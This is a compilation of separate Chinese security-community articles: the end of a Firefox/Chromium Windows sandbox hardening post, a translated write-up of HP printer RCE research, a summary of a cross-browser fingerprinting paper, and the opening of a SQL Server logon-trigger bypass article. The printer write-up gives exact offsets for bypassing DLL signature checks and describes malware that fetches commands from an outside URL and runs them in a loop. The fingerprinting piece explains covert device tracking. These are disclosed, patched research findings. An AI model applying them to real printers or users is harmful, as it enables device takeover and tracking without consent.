在我的报告中提出了一个修补方法：在沙箱策略中启用[SetLockdownDefaultDacl](https://cs.chromium.org/chromium/src/sandbox/win/src/sandbox_policy_base.cc?l=389&rcl=3cf5f883d04a46bc0a54c20f238843feea1792e0)选项。SetLockdownDefaultDacl将把RESTRICTED和Logon
SIDs都从默认DACL中移除出去，阻止5级沙箱进程打开别的沙箱进程。我之前为了解决前篇博文所述的[GPU沙箱逃逸](https://bugs.chromium.org/p/chromium/issues/detail?id=595834)问题（lokihardt在Pwn2Own上利用了这个问题）而加入了这个沙箱策略功能。不过当时的目的是阻止GPU进程打开渲染进程，而不是阻止GPU进程互相打开。所以策略没有应用于GPU沙箱，只用在了渲染进程。
其实我并非首个报告Firefox内容进程可以互相打开这一问题的人，[Niklas
Baumstark](https://twitter.com/_niklasb)在我报告的一年前就报告了此问题。我所提出的修补方法已经被尝试用于修复Niklas报告的问题，但是结果搞坏了许多东西，包括DirectWrite缓存、音频播放，还导致了严重的性能恶化，这就使SetLockdownDefaultDacl不太可行。之所以DirectWrite缓存之类的东西被搞坏，是由于Windows
RPC服务中常见的一种代码模式导致的：
int RpcCall(handle_t handle, LPCWSTR some_value) {
DWORD pid;
I_RpcBindingInqLocalClientPID(handle, &pid);
RpcImpersonateClient(handle);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, nullptr, pid);
if (!process)
return ERROR_ACCESS_DENIED;
...
}
这份示例代码运行于某个特权服务中，被沙箱程序通过RPC调用。代码首先调用RPC运行时来查询调用者的进程ID，然后模拟调用者，试图打开调用进程得到句柄，如果打开进程失败，RPC调用返回拒绝访问错误。
对于一般的程序而言，当然可以合理假设调用者能够访问自己的进程，但是，一旦我们对进程的安全权限进行锁定（lockdown），这个假设就不再成立了。我们在阻止沙箱进程访问同级别的进程的同时，也阻止了它打开自己的进程。通常情况下这不成问题，因为多数代码都会使用当前进程的伪句柄，伪句柄根本就不会经过访问权限检查。
Niklas的[报告](https://bugzilla.mozilla.org/show_bug.cgi?id=1554110)没有包含完整的沙箱逃逸，再加上修复此问题的难度，导致了这个问题的修复陷入了停滞。但是，现在有了完整的沙箱逃逸，展示这个问题的严重性，Mozilla就必须在性能和安全间做出抉择，除非有其他的修补方式出现。因为我是Chromium的贡献者，还负责Windows沙箱，我觉得更应该由我去修复这个问题，而非Mozilla，因为他们依赖于我们的代码。
修复问题必须做两件事：
* 授予进程访问自己的进程和线程的权限
* 拒绝访问同级别的其他进程
因为没有管理员权限，所以诸如[内核进程回调](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine)的许多思路都行不通。修复必须完全基于用户模式和普通用户权限。
修复问题的关键在于，受限SID的列表允许包含令牌的现有组中没有的SID。我们可以为每个沙箱进程生成一个随机SID，将其加入受限SID和默认DACL中，然后用SetLockdownDefaultDacl锁定默认DACL。
打开进程时，访问检查首先进行常规检查，对当前用户SID进行匹配，然后进行受限SID检查，对随机SID进行匹配。这对RPC也同样有效。但是，每个内容进程都有不同的随机SID，所以虽然常规检查能通过，但是受限SID检查无法通过。这就达成了我们的目的。可以在[PolicyBase::MakeTokens](https://cs.chromium.org/chromium/src/sandbox/win/src/sandbox_policy_base.cc?l=418&rcl=11c92d48f99d8d5c1bf08a09655125f096e5900a)中查看实现代码。
我将补丁加入到了Chromium仓库中，Firefox合并且测试了补丁。补丁成功阻止了攻击面，而且看起来没有导致性能问题。我说“看起来”是因为无法确知我们的修复是不是打破了哪个RPC服务或者其他什么代码依赖的某些特定行为。现在这部分代码已在Firefox
76中发布，所以如果出什么问题的话肯定会暴露出来的。
这个修复还有个问题，它是需要自愿启用的（opt-in），系统上所有进程都要启用缓解措施，包括所有Chromium浏览器和使用Chromium内核的程序，比如Electron。比如，如果Chrome没更新，那么Firefox内容进程可以杀死Chrome的GPU进程，这就会导致Chrome重启GPU进程，而Firefox进程可以劫持新GPU进程，借助Chrome实现逃逸。因此，虽然不能直接利用该漏洞，我还是在Chromium
GPU进程上启用了缓解措施，这个修改在2020年4月底的M83（以及微软Edge 83）中发布。
总之，本文展示了Firefox沙箱逃逸，导致需要在Chromium沙箱中加入一个新功能。与前篇博文不同的是，无需对Windows代码进行修改即可解决此问题。话虽如此，我们能够修复问题而又不破坏什么重要的东西，这点是我们走运。下次可能就没那么简单了。 | 社区文章 |
原文：[《A Sheep in Wolf’s Clothing – Finding RCE in HP’s Printer
Fleet》](https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/ "《A Sheep in Wolf’s Clothing – Finding RCE
in HP’s Printer Fleet》")
作者：breenmachine@foxglovesecurity
译者：Serene@知道创宇404实验室
非技术人员热衷于销售产品或服务的技术特性，但有时候市场营销做得有些过头了，需要有所控制。如果这条规律被打乱了，那么就会导致市场的FUD（Fear
Uncertainty and Doubt）：
上面这段宣传视频《The
Wolf》中处处表明惠普打印机是安全的，而购买非惠普的打印机则是接近于疏忽犯罪。比如，在开场黑底白字上写着“世界上有数以亿计的商业打印机，只有不到2％是安全的”，从这里开始，视频中的“狼”执行了一系列不太可能的攻击，利用不安全的打印机以获取公司网络和敏感数据，显而易见是指惠普打印机不会受到这些攻击。
尽管有[“Printer Hacking Wiki”](http://hacking-printers.net/wiki/index.php/Main_Page)和相关的[PRET](https://github.com/RUB-NDS/PRET)工具包这样非常好的资源，但似乎没有人深入研究过现代惠普商业打印机的安全性以验证惠普的安全声明。
于是我们购买了几台打印机，[MFP-586](http://store.hp.com/us/en/pdp/hp-pagewide-enterprise-color-mfp-586dn) 和 [M553](http://store.hp.com/us/en/pdp/hp-color-laserjet-enterprise-m553n)，正如惠普视频中“狼”说的，“要开始捕猎了”。
本文中讲到的RCE漏洞在2017年8月21日报告给了惠普，惠普已经修复并发布了安全公告：<https://support.hp.com/nz-en/document/c05839270>，本文涉及的所有代码我们都放在Github上：<https://github.com/foxglovesec/HPwn>
#### 一、打印机攻击向量
在上面的视频及其续集中，“狼”执行了一系列不太可能的攻击。这些攻击是毫无道理且极其不切实际的，让我们暂且忽略这些事实，来看看下面相关的打印机安全问题：
* 打印作业安全：打印作业安全主要通过两种方式暴露出来，一个是打印机托盘中已完成的文件，会被路过的人取走；或者是在一些打印机上，攻击者可以通过网络提取或拦截打印作业。
* 未签名的代码执行：打印机通常会免除多种类型的监测，如果攻击者能在打印机上运行恶意软件，那么它不仅能不受限制地访问打印作业，并且还不太可能被发现，成为攻击者安全的避风港。
接下来，以上面2点攻击向量为主，我们将重点介绍一系列在现代惠普打印机上测试过的安全问题。
#### 二、测试常见的打印机漏洞
我们首先回顾了打印机中现有的安全空间，过程中我们发现了“打印机开发工具包”——PRET。这个工具包包含了许多预定义的攻击方法，可以针对不同制造商的打印机。它更多的是为常见攻击提供了模板，而不是针对某个特定打印机的特定漏洞。因此我们需要做些调查，看惠普打印机可能会受到哪些漏洞的影响。
以下问题是在PRET工具包中发现的：
##### 目录穿越 - 远程存储的打印作业泄漏
PRET工具包有三种模式，每种模式都指定工具包将尝试与打印机通信的“语言”。模式分别是Printer Job Language
(PJL)、PostScript
(PS)和PCL。每种模式都有一组不同的常见漏洞，和一些常见的问题。PJL是计算机允许打印作业时与打印机通信的语言，这种语言也被扩展为具有执行一些管理任务的能力。PJL的一项功能是对打印机上文件进行非常有限的管理，例如可以存储和删除文件，但只能在特定的位置，这是使用PJL语言在文件系统上不能逃离的一个小“监狱”。
从上面截图看到我们列举在目录“/”中的文件时，根目录中，我们只能看到“PostScript”目录。
在这里一个常见的漏洞是“目录穿越”，它涉及请求特别操作的文件和目录名称试图逃离这个“监狱”。我们在两台惠普打印机上找到了一条目录穿越序列，如下所示：
不幸的是，无法从这一点检索文件内容或编写任何文件，任何尝试都会导致打印机崩溃并重新启动。
经过进一步调查，我们发现只能在一个特定路径下检索文件内容，并且目录穿越序列略有修改：
这里的“Jobs”目录是存储打印作业的地方，通过PRET有可能检索存储在打印机上任何作业的内容，如下所示：
针对“受PIN保护的”作业和不安全的作业进行测试，结果相同，这让打印作业受保护这项安全功能变得没有那么诱人了。
##### PostScript作业操作
某些类型的打印作业可以在打印之前自动处理。例如，网络上任何人都可以将任意图像和字体放置在所有打印作业的页面上，如下所示，水印“FOO”并不属于要打印的原始文档：
##### 不安全的出厂重置功能
PRET工具包似乎包含了两个没有记录或者至少说不明显的方法，可将惠普打印机重置为出厂默认设置，从而将“Administrator”密码重设为默认无密码。通过PJL接口和SNMP可以实现这一点，即使设备上已经设置了管理密码，在默认情况下它们都是不安全的。
除此之外，即使在PJL和SNMP接口已被管理员保护的情况下，也有可能将SNMP社区字符串重置为“public”的默认值！这可以利用一个鲜为人知但惠普默认启用的功能下实现，这个功能允许打印机在启动时通过DHCP或BOOTP服务器重新配置。
每次打印机启动，当从DHCP服务器获得IP地址时，它也会在DHCP响应中查找一些特殊的配置选项。其中一个选项指定了一个TFTP服务器，打印机可以检索应用各种配置设置的配置文件。在这些设备的详细说明手册中，惠普正确指出了，任何手动配置设置优先于DHCP配置的设置。然而，在DHCP配置中有些选项允许清除手动配置的设置，包括以下内容：
* 安全复位：将打印服务器上的安全设置重置为出厂默认值。
* 冷复位：冷复位后重置为TCP/IP出厂默认设置。
启用这些选项的DHCP服务器配置文件将与[项目代码](https://github.com/foxglovesec/HPwn)一起发布在GitHub上。
#### 三、不安全的默认设置
受到前面测试结果的启发，我们想看是否能找到可以应用到打印机上的安全设置组合，以阻止上述攻击。具体来说，是找到管理员应该做些什么才能让任何用户都无法重置“Administrator”密码。
我们发现这是有可能实现的，但是现实环境中的管理员不太可能成功锁定这些打印机的管理界面，至少他们需要从默认值中更改以下设置，并且注意，这里没有向用户表明，这些设置与安全性有关联。我们将展示管理菜单中的完整路径，以演示打印机中这些设置藏得有多深：
* 必须在设备的管理Web界面上设置密码，这是IT中的常见做法，也是唯一可能应用于现实世界的设置。
* 在`Networking > Security > Mgmt. Protocols > SNMP`的`Set Community Name`需要由默认改为`public`。
* 在`Security > PJL Security > Password`下，必须设置新密码
* 以下设置必须禁用`Networking > Other Settings > Misc Settings > Enabled Features > TFTP Configuration File`
如果上述任何一项被忽略了，网络上的攻击者就有可能重置设备并因此获得管理访问权限。
#### 四、深入挖掘：提取操作系统和固件
我们花费了几千美元购买打印机，在找到RCE漏洞前都不会停止研究。第一步是掌握在打印机上实际运行的代码，看起来惠普采取了一些措施来防止用户从打印机中提取操作系统和固件，不过我们可以绕过这些限制。
首先，惠普送来的设备同时包含了符合FIPS标准的加密硬盘驱动器，当插入这其中一个特殊的驱动器时，驱动器上的所有数据都将被加密，如果移除该驱动器，那么没有加密密钥的话任何人都将无法读取数据。另外，即使我们能够设置或恢复这个密钥，正在使用的加密细节也不清楚，并且需要在从驱动器读取数据之前发现。
相反，我们只是删除了HP提供的支持FIPS的驱动器，并插入了不支持加密的常规东芝笔记本电脑硬盘驱动器：
重新启动设备后，我们可以让打印机将操作系统和固件从USB密钥安装到新的未加密的驱动器上：
关闭打印机，取出驱动器，就可以将驱动器上的许多文件读取到一个标准PC上。不过，一些更有趣的文件仍然难以捕捉，特别是在“/Windows/”和“/Core/bin”目录下的HP
DLL文件，我们知道这些文件存在，因为可以利用我们的目录穿越漏洞在PRET中看到它们：
不幸的是，驱动器插入PC后，我们没有找到这些目录。经过大量调查后，我们应用了两种不同的方法从这两个来源检索文件。
##### 检索/Windows/
首先是Windows目录，Linux实用程序“grep”用于对Windows目录中存在的各种文件的引用进行搜索：
文件“NK.bin”似乎每次都会返回，经过一番调查后，发现打印机上运行的操作系统是Windows CE的一个版本，Windows
CE内核存储在/CEKERNEL/NK.bin。我们可以用公开的工具Nkbintools来提取这个Windows
CE内核的内容，并检索Windows目录的确切内容：
##### 检索/Core/bin
目录/Core/bin的内容更难以检索，当硬盘连接到PC时，/Core/bin目录实际上是可见的，然而与/Windows/目录不同，它是空的：
没能弄清为什么这个目录表现为空后，我们做了另一个尝试。
首先，我们检查了与硬盘上的/Core/关联的分区：
下一步是使用Linux“dd”实用程序拍摄这个分区的图像，这个实用程序会完全忽略文件系统，并获取分区的原始映像，将其保存到本地文件中。
最后，应用一种称为“file
carving”的技术，这种技术通常用于硬盘部分发生故障或文件系统已损坏时的数据恢复。我们使用的工具称为“scalpel”，指定一个配置文件，它可以“分解”在原始磁盘图像“image.bin”中找到的任何可疑的DLL文件。结果看来有数百个DLL文件，其中许多是无效的，并且所有文件都有一个数字而不是文件名：
由于我们最感兴趣的是.NET
DLL的文件，因此可以使用“monodis”工具来尝试反汇编每个DLL，只打印有效的DLL文件及其名称列表。虽然脚本的输出很混乱，但足以证实我们已经提取了正在寻找的DLL文件：
#### 五、固件和惠普软件“解决方案”逆向
通过访问设备上运行的代码，我们可以开始深入了解打印机中的一些功能，找到是否可能导致远程代码执行，特别是与惠普软件“解决方案”安装和固件更新相关的功能。
惠普软件解决方案利用惠普的OXP平台和SDK来扩展打印机的功能，第三方公司可以开发这些解决方案，但访问SDK由惠普严格控制，任何由SDK开发的软件最终版本必须由惠普签署才能安装在打印机上，如果能找到解决这些控制的方法，就可以创建适用于所有现代惠普打印机的恶意解决方案。
过去，恶意固件更新是在各种打印机上获得代码执行的一种方法。惠普已经转向了新的固件更新平台和文件格式，似乎没有安全研究人员详细地审查过。
##### BDL格式逆向工程
惠普解决方案和固件更新都包含一个带“.BDL”（捆绑）扩展名的单个文件。这是一种专有的二进制格式，没有公开的文档，我们决定对这种文件格式进行逆向工程，它可以让我们深入了解固件更新和软件解决方案的组成。
由于固件文件庞大而复杂，为了简单起见，我们从获取第三方软件解决方案“ThinPrint”的副本开始着手，与81MB的固件更新文件相比，这个解决方案的“BDL”文件有2.1MB。首先，我们在BDL文件上使用了一个叫binwalk的工具，它用于检查二进制文件并尝试提取其中包含的任何已知文件格式。binwalk被专门开发用于对这些类型的包进行逆向工程，工具输出单个ZIP文件包含以下内容：
我们在十六进制编辑器中手动检查了压缩文件和BDL文件，以确定ZIP文件在BDL文件中的位置：
（ZIP文件由binwalk在十六进制编辑器中提取，并显示CRC-32校验和）
（BDL文件高亮显示ZIP部分并计算CRC-32）
请注意，在上面两个截图中，我们已经计算了十六进制编辑器中选定部分的“CRC-32”校验和。在第一种情况下，对于ZIP文件，CRC-32校验和是在整个文件中计算的。在第二种情况下，对于BDL文件，CRC-32是根据我们怀疑包含压缩文件的部分进行计算的（基于前几个字节匹配）。当两个CRC-32校验和达到相同的“6D
AC 9A 2F”值时，我们猜想得到了证实。
还要考虑上面十六进制编辑器中用红色圈起来的部分，注意“2F 9A AC
6D”就出现在ZIP文件开始之前，只是ZIP文件的CRC-32校验和，其字节顺序相反。
看到这个，我们对zip文件做了一个小修改（只是修改了其中一个文件的内容），计算了修改过的ZIP的CRC-32校验和，并用修改的ZIP文件替换了BDL中的ZIP文件。BDL文件中的CRC-32校验和进行更新以匹配新修改的ZIP文件，并将BDL文件上传到打印机。
不幸的是没有成功，出现了以下错误：
进一步调查在打印机调试日志文件中发现了以下内容：
很明显，当ZIP文件被替换时，还有额外的CRC校验和被损坏。经过调查，包括编写自定义python脚本以识别文件中的CRC-32校验和后，ThinPrint
BDL文件中推导出了以下字段：
* 0x14-0x17 = CRC32 of 0x929 to 0x938 (IPKG header)
* 0x931-0x934 = Length of IPKG structure
* 0x94d-0x950 = CRC32 of 0xd76 to 0xe89 (ZIP header)
* 0x929-0x92a = Distance of IPKG structure from the start of the BDL file
* 0xe76-0xe77 = Distance of ZIP from IPKG header
* 0xe7e-0xe81 = Length of ZIP file
* 0xe86-0xe89 = CRC32 of 0xe8b-EOF (ZIP file binary)
有以上知识还是不够的，当BDL文件上传到打印机时，更新上面列出的所有校验和、长度，仍然导致某种校验和失败。
在这里我们决定采取替代路径，理论上可以创建一个和原始ZIP文件同样长度和CRC-32校验和的ZIP文件，如果创建完成，就不需要更新BDL文件中的任何字段！
我们用Python编写了一个自定义工具来完成这项工作，放在我们Github的[知识库](https://github.com/foxglovesec/HPwn)中。这个工具允许修改原始BDL文件，通过替换一个相同长度和CRC-32校验和但任意不同内容的ZIP文件。这个工具有点破解，可能只适用于ThinPrint
BDL。
以这种方式修改的BDL文件上传到了打印机并确认可用，但是还没对代码进行恶意更改。当我们试图替换任何ZIP中的DLL文件时，我们得到了DLL签名验证错误。
#### 六、逆向工程固件签名验证
一旦对BDL文件的工作原理有了总体的了解，我们就开始检查固件更新过程和周围的安全控制。首先，我们只是在一个十六进制编辑器中检查惠普的固件更新文件，相关的文件类型是“.BDL”，有人指出，在文件末尾存在一个签名块：
这个签名块不在“ThinPrint”解决方案BDL中，这说明软件解决方案包和固件可能会以不同方式处理。
根据签名块中的信息判断，似乎正在使用该文件的行业标准签名验证，特别是使用SHA256的RSA。但是，正在使用安全加密算法并不意味着该文件有安全验证。一些常见的执行错误都可能导致签名验证不安全。
为了找出代码中签名验证执行的地方，我们上传一个仔细操作的固件文件到设备，注意不要以与ThinPrint解决方案相似的方式，使校验和或长度无效。进行到这里，从打印机的调试日志中产生了以下错误：
查看从打印机中提取的反编译代码，确定这个消息是在类文件`HP.Mfp.Services.Installation.Fim.Fim`中生成的：
进一步的逆向带我们到了正在执行签名验证的位置，快速审查代码后，我们没有发现严重的错误能容许绕过或操纵固件签名验证。
##### 惠普解决方案包的DLL签名验证逆向工程
我们已经对BDL格式进行了部分逆向，在打印机上执行恶意代码的第一步，显然是用修改过的DLL文件替换在BDL中打包的DLL文件之一，然而并没有成功，在打印机调式日志中，出现了如下的错误：
这个详细的错误信息，直接为我们指向了正在执行签名验证的代码位置，“HP.ExtLib.Package.Process”：
深入探索一下，我们检查了“signedObject.ValidatePeSignature”下的代码：
快速审查这段代码，我们怀疑这里可能会出现一些问题。在第11行，从DLL文件的第60个字节读取了一个数，在第14行和第15行，从DLL文件读取了另外两个数字读入变量int32_2和int32_3。在第19-22行，这两个新变量用于指定一部分加载到名为numArray2的数组中的DLL文件。从第22行开始，其余代码在numArray2上运行。
仔细检查上述过程，我们怀疑可能可以这种方式操作读入int32_2和int32_3的数字，因为验证签名的DLL文件部分可以与打印机上运行的实际可执行代码分离。
#### 七、构建恶意解决方案
##### 打破惠普对DLL文件的数字签名验证
为了验证上述怀疑，我们用C＃重新实现了打印机上执行签名验证的算法的一个接近完全副本。然后，该程序在Visual
Studio调试器中运行，并使用由惠普签名的有效DLL文件作为输入。在上面“ValidatePeSignature”的代码示例（下面新程序中的第65行）中，执行在第22行中断了，这是从DLL文件中读取numArray2的位置：
请注意，这时我们可以在上面的调试窗口中看到int32_1，int32_2，int32_3和numArray2的值，numArray2的内容被转储到磁盘上的文件“Foo.txt”中：
我们的计划不需要了解这些内容的实际含义，因此没有分析。
接下来，在HxD十六进制编辑器中复制粘贴，将文件“Foo.txt”追加到名为“HPwn.dll”的自定义未签名的.NET
DLL的末尾，红色字体的字节是新加的：
接下来必须小心操作DLL文件，以便惠普签名验证算法将文件末尾定义的新字节加载到numArray2中。仔细分析上面的ValidatePeSignature代码，并结合十六进制编辑器中相应的字节值，显示以下内容：
* int32_2 is loaded from the DLL at offset = int32_1 + 152 = 128 + 152 = 280 = 118 hex
* int32_3 is loaded from the DLL at offset = int32_1 + 156 = 128 + 156 = 284 = 11C hex
在这些偏移量处检查我们新加的未签名DLL文件，我们看到它们当前设置为0：
显而易见的问题是，我们应该如何设置int32_2和int32_3的值，以将Foo.txt中粘贴在DLL文件末尾的字节读入numArray2中？
再次检查ValidatePeSignature的代码，第20-22行有所相关：
if (file.Position != (long) (int32_2 + 8))
file.Seek((long) (int32_2 + 8), SeekOrigin.Begin);
file.Read(numArray2, 0, int32_3 - 8);
因此，读入numArray2的字节将是DLL文件中位于int32_2+8和int32_3-8之间的DLL文件中的字节。
我们想强制该算法读取已插入到DLL文件末尾的“Foo.txt”的内容，这个文件从0x1200开始，长度为11360字节（如果你要验证这些数字，请参阅上面Foo.txt粘贴到DLL中的截图，调试器的截图显示了numArray2的长度）。考虑到这一点，算出int32_2和int32_3值很简单：
* int32_2 = 0x1200-0x8 = 0x11F8
* int32_3 = 11360 = 0x2C68
如下图所示：
现在，针对这个新的DLL文件HPwn.dll运行签名验证算法，我们得到以下结果：
#### 八、获得任意代码执行
构建了我们自己的惠普“解决方案”软件包的方法，以及另一种方法来绕过他们的数字签名验证机制，剩下唯一的障碍就是构建与惠普平台兼容的恶意软件。
##### 创建恶意软件
为了创建恶意软件，我们以HP ThinPrint客户端主类中的反编译代码为例：
幸运的是，这段代码非常简单。只要有从打印机中提取的HP.ExtLib.dll副本，完成一个山寨的应该是比较直接的。下图展示了大多数我们修改后的成果，这只是相同的方法和接口，但执行不同的操作：
这个项目的副本将在[GitHub](https://github.com/foxglovesec/HPwn)上发布。“DoBadStuff”功能只需执行以下操作：
1. 从 <http://nationalinsuranceprograms.com/blar> 上下载文件
2. 执行打印机上文件中指定的命令
3. 等待5秒
4. 重复操作
必须克服的一个技术障碍是，项目需要编译的.NET Compact Framework版本仅包含在Visual Studio 2008
Professional中。具体来说，这个项目需要针对“Windows CE设备”：
最终我们取得了Visual Studio 2008 Pro的副本，并成功构建了该项目。
##### 测试恶意软件
在执行新加的DLL文件中的签名验证过程之后，使用[我们的GitHub中的python代码](https://github.com/foxglovesec/HPwn/blob/master/BDL_Patcher/hp_solution_patcher.py)将该DLL加载到BDL中，修改后的BDL文件成功上传到打印机：
回想一下，我们的恶意软件从<http://nationalinsuranceprograms.com/blar>中下载文件，在这个情况下，文件“blar”包含一个简单的命令，只是让打印机“ping”我们的另一台服务器。我们可以通过监视第二台服务器，来确认该命令成功执行：
托管HTTP服务器上的文件之后，我们立即看到打印机为文件发出请求：
在打印机上实际运行文件中的命令立即传送到了第二台服务器，在这种情况下，服务器被配置为打印出对其请求的任何域名。它开始打印“twoping.dns.evildomain.net”：
#### 九、未来的工作
过去对惠普打印机的研究似乎因为缺乏可用的固件文件和OXP SDK而受到阻碍。例如下面PrinterHacking Wiki所说的：
> 对于较新的设备，惠普使用基于“开放式扩展平台”（OXP）的Web服务，而不是使用没有公开可用的SDK。
这是OXP SDK的可用信息，并且没有关于BDL文件格式的信息，本报告为进一步工作奠定了基础，特别是在进一步深入代码审查后，对以下领域的工作可能更有成效。
##### 打印机开发模式
在审查源代码时，我们注意到惠普打印机可以进入“开发”模式。一旦启用这个模式，就可以自由安装未签名的固件更新。我们在HP.Mfp.Services.Installation.Fim.SignedConfigBundleRepository中找到了唯一可以启用开发模式的代码路径：
protected override void InstallMfgConfigPackage(FileInfo[] files)
{
if (files != null &amp;&amp; files.Length &gt; 0)
{
foreach (FileInfo file in files)
{
if (!(file.Name == "pak.hdr") &amp;&amp; new SecureNvramBundle().DecryptAndValidateManufacturingPackage(this.GetFileContents(file)) != null)
{
this.TransitionToDevMode();
LogManager.InfoLog.Log("HP.Mfp.Services.Installation.Fim", 10030852U, new KeyValuePair&lt;string, string&gt;("MESSAGE", "Signed Mfg Config Bundle install succeeded. Development Mode Activated."));
return;
}
}
}
LogManager.WarningLog.Log("HP.Mfp.Services.Installation.Fim", 10030853U, new KeyValuePair&lt;string, string&gt;("MESSAGE", "Signed Mfg Config Bundle digital signature validation failed"));
}
如果有人能够获得有效的“制造配置包”并将其安装到打印机上，就将启用打印机上的“开发”模式，一直到下一次打印机重新启动。因为“制造配置包”不容易找到，所以这个假设没有经过测试，同时我们也不确定别人会如何安装它。
##### 选择固件更新机制
有许多方法可以更新惠普打印机的固件，大多数管理员都会意识到可以通过打印机的Web界面和“Web Jet
Admin”客户端安装固件更新。固件也可以在启动时通过BOOTP /
TFTP选项安装，但是经过测试后，我们没有找到正确的选项安装成功。另外，惠普打印机上的安全设置页面表明可以通过端口9100利用打印作业安装固件：
没有关于这个功能的文档，不过这个有可能是能成功的。
特别有趣的是，这些可选择的固件更新机制中，有些可能是忽略执行签名验证的替代代码路径。例如，HP.Mfp.Services.Installation.Fim.Fim.RemoteInstall中的方法似乎是一种要求某种固件更新或安装的功能，我们对这种方法进行快速代码审查，发现其中不包含任何表示数字签名正在验证的代码。还需要更多的研究来验证这一发现。
* * * | 社区文章 |
## 前言
如何通过web浏览器确定设备指纹一直是一个难题，而本篇论文(Cross Browser Tracking_NDSS17)带给我们不少新的思考与突破点。
本人将结合个人理解，对该篇论文进行原理，代码等方面的详细分析。
本次解读分为4部分：
part1：文章整体结构梳理
part2：文章技术理论简单介绍与测试
part3：文章技术理论部分代码实现解读与测试
part4：文章整体架构部分代码实现解读与测试
## 文章概要
### 文章目的
通过操作系统与硬件等不同特征，无论用户使用多少种浏览器，都可以唯一跟踪用户设备。
比如：用户A无论使用了谷歌，火狐还是IE浏览器访问了我的网站，我都可以利用该论文中的技术计算出用户A的设备指纹，且无论使用哪种浏览器，设备指纹计算结果均相同
### 文章由来
第一代追踪技术：根据cookie进行跟踪
第二代追踪技术：根据js获取操作系统、分辨率、像素比等设备信息，进行设备跟踪，设备归并
（但此方法很难确保准确率，因为跨浏览器后会有很多参数发生改变）
第三代追踪技术：则是发现设备后面的人。通过人的习惯、人的行为等等来对人进行归并，此项技术比较复杂。
那么本文进行的研究是2.5代追踪技术，即第二代追踪技术的改进版，希望做到无论用户切换多少种浏览器，设备的跟踪都可以具有稳定性和唯一性
## 文章结构
### 第一部分
介绍了借鉴已有技术`AmIUnique`的部分：WebGL
> WebGL（全写Web Graphics Library）是一种3D绘图协议，这种绘图技术标准允许把JavaScript和OpenGL ES
> 2.0结合在一起，通过增加OpenGL ES 2.0的一个JavaScript绑定，WebGL可以为HTML5
> Canvas提供硬件3D加速渲染，这样Web开发人员就可以借助系统显卡来在浏览器里更流畅地展示3D场景和模型了。
> 而作者后续的新提出的十几项渲染任务，基本是使用了该项技术
### 第二部分
#### 技术改进
1.屏幕分辨率改进点
* 利用屏幕宽度和高度的比率，这样即可不随屏幕的缩放级别而改变
* 新发现参数availHeight,availWidth,availLeft,availTop,screenOrientation可用于指纹特征
2.字体列表改进点
* 曾经的字体列表基于Flash插件获取字体列表，但本技术采用侧信道方式，测量字体的高度与宽度以确定字体类型(后续文章也对这一块的代码进行了详细分析，的确可以在不支持flask的情况下准确得到支持的渲染字体类型)
#### 新技术
1.原子指纹特征
通过WebGL使用精心挑选的计算机图形参数`texture,anti-aliasing,transparency`，渲染任务，然后从渲染输出中提取特征进行分析，以区分不同浏览器
2.符合指纹特征
通过WebGL使用精心挑选的计算机图形参数`light`，渲染任务，然后从渲染输出中提取特征进行分析，以区分不同浏览器
(作者为设计了十几项渲染任务，详细任务内容在后续文章中进行阐述，但这一块的结果并未应用到跨浏览器的设备指纹计算中)
### 第三部分
技术实现的整体架构与细节
(后续文章将结合代码分析该技术架构)
### 第四部分
技术的代码实现（简单介绍了代码量和使用的开源库）
### 第五部分
技术的实践与数据搜集
对`Amazon Mechanical Turks`和`MacroWorkers`进行数据搜集，并和当今存在的指纹计算进行比对，得到如下结果：
计算公式
其中H(X)是香农熵,x是变量，值是各种概率。P(x)是概率函数。Hm是最坏情况下的熵，即每个指纹都相同，并且我们拥有最大的熵。N是所有指纹的个数。
值得注意的是，我们发现`List of Fonts`越来越少，到本篇论文只有0.219了，这说明Flash正在逐渐被淘汰
然后又进行了唯一性和稳定性对比：
可以看出作者的单一浏览器指纹和跨浏览器设备指纹识别率更高更稳定
### 第六部分
实验结果统计与分析
#### 从浏览器分类上来看
每个单元格为：唯一性（跨浏览器稳定性）
几个特点：
1.IE与Edge与其他的配对的唯一性相对低，因为其均为微软独立开发的
2.IE与Edge的稳定性很高，说明其有较多的共享代码
3.所有浏览器对Edge浏览器的唯一性都高于其对IE浏览器的唯一性，因为Edge引入更多功能，并严格遵守WebGL，暴露更多指纹信息
#### 从特征分类来看
不难看出`List of
fonts`无论是对单一浏览器还是跨浏览器都有非常重要的作用。但是由于Flash的逐渐淘汰，我们应该选择使用JavaScript来获取`List of
fonts`
也难怪作者最后的demo，使用了该特性作为跨浏览器指纹特征之一
### 第七部分
简单提及了指纹识别的防御，主要是tor浏览器为例：
1.对浏览器输出做规范化处理
2.默认禁用canvas，除非用户开启
3.虚拟化，找到近乎所有可用于指纹的特征，将其虚拟化
### 第八、九、十部分
与本文相关技术的相关工作，本文的文献引用以及总结
## 后记
本篇文章主要对web指纹，设备指纹做一个简单介绍，对论文脉络做一个简单梳理。更多技术内容见后续文章。 | 社区文章 |
原文：<https://blog.netspi.com/bypass-sql-logon-triggers/>
在渗透测试过程中，我们经常会遇到针对直接连接到SQL Server数据库的两层桌面应用程序的测试。此外，有时候我们也会遇到SQL
Server后端，它们只允许来自预定义主机名或应用程序清单中的连接。一般情况下，这些类型的限制是通过登录触发器来强制执行的。在本文中，我们将为读者演示如何通过某些鲜为人知的连接字符串属性伪造主机名和应用程序名，从而绕过这些白名单限制。在我们的示例中，包括SSMS和PowerUpSQL。本文介绍的技术，对应用程序渗透测试人员和跟遗留的桌面应用程序打交道的开发人员来说，都将非常有用。
**什么是登录触发器？**
* * *
[登录触发器](https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017
"登录触发器")本质上是一个存储过程，该过程的执行时机是在通过SQL
Server身份验证之后，登录会话完全建立之前。它们通常用于根据日内时间、主机名、应用程序名称以及单个用户的并发会话数，以编程方式限制对SQL
Server的访问。
**安装SQL Server**
* * *
如果您还没有安装SQL Server，可以安装下面的步骤完成安装。
1. 从[这里](https://www.microsoft.com/en-us/sql-server/sql-server-editions-express "这里")下载并安装SQL Server。
2. 从[这里](https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-2017 "这里")下载并安装SQL Server Management Studio Express（SSMS）。
**创建限制主机名的登录触发器**
* * *
下面介绍如何对家庭实验室中的触发器进行配置，该触发器是根据连接的工作站名称来限制访问权限的。
